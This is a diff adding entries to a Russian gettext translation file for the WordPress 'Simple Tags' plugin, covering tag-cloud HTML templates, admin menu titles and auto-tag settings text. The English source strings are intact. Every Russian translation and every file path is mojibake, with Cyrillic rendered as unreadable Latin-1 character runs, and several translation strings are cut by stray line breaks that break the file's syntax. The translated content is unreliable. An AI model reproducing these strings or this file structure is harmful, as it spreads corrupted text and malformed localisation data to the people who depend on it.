+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1252
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>ÐÐ±Ð»Ð°ÐºÐŸ ÐŒÐµÑÐŸÐº</h4>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:98
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1224
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:97
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1251
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:110
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1440
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:109
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1496
+msgid "Tags: "
+msgstr "ÐÐµÑÐºÐž:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:112
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1447
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1503
+msgid "No tag for this post."
+msgstr "Ð Ð·Ð°Ð¿ÐžÑÐž ÐœÐµÑ ÐŒÐµÑÐŸÐº."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:115
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1446
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:114
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:123
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:875
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:122
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:901
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>Ð¡Ð²ÑÐ·Ð°ÐœÐœÑÐµ ÐŒÐµÑÐºÐž</h4>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:124
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:876
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:902
+msgid "No related tag found."
+msgstr "Ð¡Ð²ÑÐ·Ð°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº ÐœÐµ ÐœÐ°Ð¹ÐŽÐµÐœÐŸ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:125
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:124
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:130
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:129
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"Ð£Ð±ÑÐ°ÑÑ %tag_name_attribute% from search\">Ð£Ð±ÑÐ°ÑÑ %tag_name%</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:272
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:262
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "ÐÐ°Ð¿ÐžÑÐž, Ð¿ÐŸÐŒÐµÑÐµÐœÐœÑÐµ Ñ  %s"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:787
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:822
+msgid "There is no excerpt because this is a protected post."
+msgstr "ÐÐµÑ ÑÐžÑÐ°ÑÑ, Ð¿ÐŸÑÐŸÐŒÑ ÑÑÐŸ ÑÑÐŸ Ð·Ð°ÑÐžÑÐµÐœÐœÐ°Ñ Ð·Ð°Ð¿ÐžÑÑ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:877
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:903
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"Ð¡ÐŒÐŸÑÑÐµÑÑ Ð·Ð°Ð¿ÐžÑÐž Ñ ÐŒÐµÑÐºÐŸÐ¹  %tag_name_attribute%\">%tag_name%</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1079
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Ð£Ð±ÑÐ°ÑÑ %tag_name_attribute% from search\">Ð£Ð±ÑÐ°ÑÑ %tag_name%</a>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1686
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1761
+msgid "Invalid Taxonomy"
+msgstr "ÐÐµÐŽÐŸÐ¿ÑÑÑÐžÐŒÐ°Ñ ÑÐ°ÐºÑÐŸÐœÐŸÐŒÐžÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:149
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:628
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:158
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: Ð£Ð¿ÑÐ°Ð²Ð»ÐµÐœÐžÐµ ÐŒÐµÑÐºÐ°ÐŒÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:149
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:158
+msgid "Manage Tags"
+msgstr "Ð£Ð¿ÑÐ°Ð²Ð»ÐµÐœÐžÐµ ÐŒÐµÑÐºÐ°ÐŒÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:150
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:843
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:159
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: ÐÐ°ÑÑÐŸÐ²ÐŸÐµ ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐžÐµ ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:150
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:159
+msgid "Mass Edit Tags"
+msgstr "ÐÐ°ÑÑÐŸÐ²ÐŸÐµ ÑÐµÐŽÐ°ÐºÑÐžÑÐŸÐ²Ð°ÐœÐžÐµ ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:151
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:209
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:160
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÐµ ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:151
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:160
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:217
+msgid "Auto Tags"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÐµ ÐŒÐµÑÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:152
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:522
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:161
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:521
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: ÐÐ°ÑÑÑÐŸÐ¹ÐºÐž"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:152
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:161
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:194
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:203
+msgid "Auto tags options updated !"
+msgstr "ÐÐ°ÑÑÑÐŸÐ¹ÐºÐ° Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÑ
+ ÐŒÐµÑÐŸÐº ÐŸÐ±ÐœÐŸÐ²Ð»ÐµÐœÐ°!"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:210
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:523
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:629
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:844
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "ÐÐŸÑÐµÑÐžÑÐµ <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ÐŽÐŸÐŒÐ°ÑÐœÑÑ ÑÑÑÐ°ÐœÐžÑÑ Ð¿Ð»Ð°Ð³ÐžÐœÐ°</a> ÐŽÐ»Ñ Ð±ÐŸÐ»ÑÑÐžÑ
+ ÐŽÐµÑÐ°Ð»ÐµÐ¹. ÐÑÐ»Ðž Ð²Ñ ÐœÐ°ÑÐ»Ðž ÐŸÑÐžÐ±ÐºÑ, ÐžÐ»Ðž ÐžÐŒÐµÐµÑÐµ ÑÐ°ÐœÑÐ°ÑÑÐžÑÐµÑÐºÑÑ ÐžÐŽÐµÑ ÐŽÐ»Ñ ÑÑÐŸÐ³ÐŸ Ð¿Ð»Ð°Ð³ÐžÐœÐ°, <a href=\"mailto:amaury@wordpress-fr.net\">ÐŸÐ±ÑÐ°ÑÐ°Ð¹ÑÐµÑÑ ÐºÐŸ ÐŒÐœÐµ</a> !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:214
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:222
+msgid "Auto tags list"
+msgstr "Ð¡Ð¿ÐžÑÐŸÐº Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÑ
+ ÐŒÐµÑÐŸÐº"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:215
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:223
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "Ð­ÑÐ° ÑÑÐœÐºÑÐžÑ Ð¿ÐŸÐ·Ð²ÐŸÐ»ÐžÑ Wordpress Ð¿ÑÐŸÑÐŒÐ°ÑÑÐžÐ²Ð°ÑÑ ÑÐŸÐŽÐµÑÐ¶ÐžÐŒÐŸÐµ Ð·Ð°Ð¿ÐžÑÐž Ðž Ð·Ð°Ð³ÐŸÐ»ÐŸÐ²ÐºÐ° ÐœÐ° Ð¿ÑÐµÐŽÐŒÐµÑ Ð·Ð°ÐŽÐ°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº Ð¿ÑÐž ÑÐŸÑ
+ÑÐ°ÐœÐµÐœÐžÐž Ð·Ð°Ð¿ÐžÑÐµÐ¹. ÐµÑÐ»Ðž Ð²Ð°ÑÐ° Ð·Ð°Ð¿ÐžÑÑ ÐžÐ»Ðž Ð·Ð°Ð³ÐŸÐ»ÐŸÐ²ÐŸÐº ÑÐŸÐŽÐµÑÐ¶Ð°Ñ ÑÐ»ÐŸÐ²ÐŸ \"WordPress\" Ðž Ð²Ñ ÐžÐŒÐµÐµÑÐµ  \"wordpress\" Ð² ÑÐ¿ÐžÑÐºÐµ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÑ
+ ÐŒÐµÑÐŸÐº, Simple Tags Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž ÐŽÐŸÐ±Ð°Ð²ÐžÑ \"wordpress\" Ð² ÐºÐ°ÑÐµÑÑÐ²Ðµ ÐŒÐµÑÐŸÐº ÐŽÐ»Ñ Ð²Ð°ÑÐµÐ¹ Ð·Ð°Ð¿ÐžÑÐž."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:219
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:232
+msgid "Active Auto Tags."
+msgstr "ÐÐºÑÐžÐ²ÐžÑÐŸÐ²Ð°ÑÑ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÐµ ÐŒÐµÑÐºÐž."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:222
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:239
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "ÐÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ ÑÐ°ÐºÐ¶Ðµ Ð»ÐŸÐºÐ°Ð»ÑÐœÑÑ Ð±Ð°Ð·Ñ ÐŽÐ°ÐœÐœÑÑ
+ ÐŒÐµÑÐŸÐº Ñ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÐŒÐž ÐŒÐµÑÐºÐ°ÐŒÐž. (ÐÐœÐžÐŒÐ°ÐœÐžÐµ, ÑÑÐ° ÐŸÐ¿ÑÐžÑ ÑÐžÐ»ÑÐœÐŸ ÑÐ²ÐµÐ»ÐžÑÐžÐ²Ð°ÐµÑ Ð¿ÐŸÑÑÐµÐ±Ð»ÐµÐœÐžÐµ ÑÐµÑÑÑÑÐŸÐ² CPU, ÐµÑÐ»Ðž Ñ Ð²Ð°Ñ ÐµÑÑÑ ÐŒÐœÐŸÐ³ÐŸ ÐŒÐµÑÐŸÐº)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:225
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:246
+msgid "Autotag only posts without tags."
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž Ð¿ÐŸÐŒÐµÑÐžÑÑ ÑÐŸÐ»ÑÐºÐŸ Ð·Ð°Ð¿ÐžÑÐž Ð±ÐµÐ· ÐŒÐµÑÐŸÐº."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "Ð¡Ð¿ÐžÑÐŸÐº ÐºÐ»ÑÑÐµÐ²ÑÑ
+ ÑÐ»ÐŸÐ²: (ÑÐ°Ð·ÐŽÐµÐ»ÐµÐœÐœÑÐ¹ Ð·Ð°Ð¿ÑÑÑÐŒÐž ÑÐ¿ÐžÑÐŸÐº)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "ÐÐ±ÐœÐŸÐ²ÐžÑÑ ÑÐ¿ÐžÑÐŸÐº &raquo;"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:236
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:262
+msgid "Auto tags old content"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž Ð¿ÐŸÐŒÐµÑÐžÑÑ ÑÑÐ°ÑÑÐ¹ ÐºÐŸÐœÑÐµÐœÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:237
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:263
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "Simple Tags ÐŒÐŸÐ¶ÐµÑ ÑÐ°ÐºÐ¶Ðµ ÐŽÐŸÐ±Ð°Ð²ÐžÑÑ ÐŒÐµÑÐºÐž Ð² Ð²ÐµÑÑ ÑÑÑÐµÑÑÐ²ÑÑÑÐžÐ¹ ÐºÐŸÐœÑÐµÐœÑ Ð²Ð°ÑÐµÐ³ÐŸ Ð±Ð»ÐŸÐ³Ð°. Ð­ÑÐ° ÑÑÐœÐºÑÐžÑ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÑÐµÑ ÑÐ¿ÐžÑÐŸÐº Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐžÑ
+ ÐŒÐµÑÐŸÐº Ð·Ð°ÐŽÐ°ÐœÐœÑÐ¹ Ð²ÑÑÐµ."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "ÐÐ²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž Ð¿ÐŸÐŒÐµÑÐžÑÑ ÐŒÐµÑÐºÐ°ÐŒÐž Ð²ÐµÑÑ ÐºÐŸÐœÑÐµÐœÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:259
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:288
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "ÐÑÐ»Ðž Ð²Ð°Ñ Ð±ÑÐ°ÑÐ·ÐµÑ ÐœÐµ ÐœÐ°ÑÐžÐœÐ°ÐµÑ Ð·Ð°Ð³ÑÑÐ·ÐºÑ ÑÐ»ÐµÐŽÑÑÑÐµÐ¹ ÑÑÑÐ°ÐœÐžÑÑ Ð°Ð²ÑÐŸÐŒÐ°ÑÐžÑÐµÑÐºÐž, ÑÐµÐ»ÐºÐœÐžÑÐµ Ð¿ÐŸ ÑÑÐŸÐ¹ ÑÑÑÐ»ÐºÐµ:"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:259
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:288
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr "Ð¡Ð»ÐµÐŽÑÑÑÐžÐ¹ ÐºÐŸÐœÑÐµÐœÑ"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr "ÐÑÐµ Ð³ÐŸÑÐŸÐ²ÐŸ!"
+
